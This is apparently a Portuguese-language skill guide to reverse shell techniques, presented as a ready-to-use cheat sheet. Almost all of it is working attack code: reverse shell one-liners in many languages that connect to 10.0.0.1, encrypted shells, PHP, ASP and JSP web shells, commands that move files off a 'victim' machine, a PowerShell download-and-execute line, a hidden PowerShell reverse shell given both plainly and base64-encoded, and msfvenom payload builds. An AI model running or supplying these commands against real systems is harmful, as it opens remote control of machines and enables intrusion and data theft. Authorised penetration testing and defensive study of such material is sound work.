yaklang/técnicas-de-reverse-shell

O que técnicas-de-reverse-shell faz?

Guia de técnicas de reverse shell. Use ao estabelecer shells remotas, incluindo one-liners em linguagens, shells criptografadas (OpenSSL/socat/ncat), web shells, upgrades de PTY, métodos de transferência de arquivos, shells PowerShell e geração de payloads para Windows.

One-liners em Linguagens

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat Tradicional

nc -e /bin/sh 10.0.0.1 1234

Netcat sem -e

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Shells Criptografadas

OpenSSL

Receptor:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4443

Cliente:

openssl s_client -quiet -connect 10.0.0.1:4443

Socat

Receptor:

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork STDIO

Cliente:

socat OPENSSL-CONNECT:10.0.0.1:443,verify=0 EXEC:/bin/sh

Ncat (Nmap)

Receptor:

ncat -lvnp 443 --ssl

Cliente:

ncat -v 10.0.0.1 443 --ssl -e /bin/sh

Web Shells

PHP Web Shell

<?php system($_GET['cmd']); ?>

ASP Web Shell

<% Execute(Request("cmd")) %>

JSP Web Shell

<%= Runtime.getRuntime().exec(request.getParameter("cmd")); %>

Upgrades de PTY

Python PTY

python -c 'import pty;pty.spawn("/bin/bash")'

Script PTY

script /dev/null -c bash

Socat PTY

socat file:`tty`,raw,echo=0 tcp-listen:4443

Configuração Completa de PTY

# Em sua máquina local:
stty raw -echo
fg
# Na shell remota:
reset
stty rows 40 columns 120
export TERM=xterm-256color

Métodos de Transferência de Arquivos

Python

# Iniciar servidor (na máquina vítima):
python3 -m http.server 8080
# Baixar (na sua máquina):
wget http://10.0.0.1:8080/arquivo

Netcat

# Receptor:
nc -lvnp 4444 > arquivo
# Remetente:
nc 10.0.0.1 4444 < arquivo

SMB

# Na sua máquina:
smbserver.py compartilhamento .
# Na vítima:
copy \\10.0.0.1\compartilhamento\arquivo .

TFTP

# Iniciar servidor TFTP:
atftpd --daemon --port 69 /tftp
# Na vítima:
tftp 10.0.0.1 GET arquivo

PowerShell - Baixar Arquivo

(New-Object System.Net.WebClient).DownloadFile("http://example.com/arquivo", "C:\Windows\Temp\arquivo")

PowerShell - IEX Download + Execução

IEX (New-Object System.Net.WebClient).DownloadString("http://example.com/script.ps1")

Shells PowerShell

One-liner Básico

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

One-liner com Encoded Command

powershell -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMAAuADAALgAxACIALAA0ADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIgAgADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAAoA

Geração de Payloads para Windows (msfvenom)

Payload Reverse TCP (staged)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f exe > shell.exe

Payload Reverse TCP (stageless)

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f exe > shell.exe

Payload PowerShell

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f psh-reflection > shell.ps1

Payload Base64 para CMD

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4443 -f exe -o shell.b64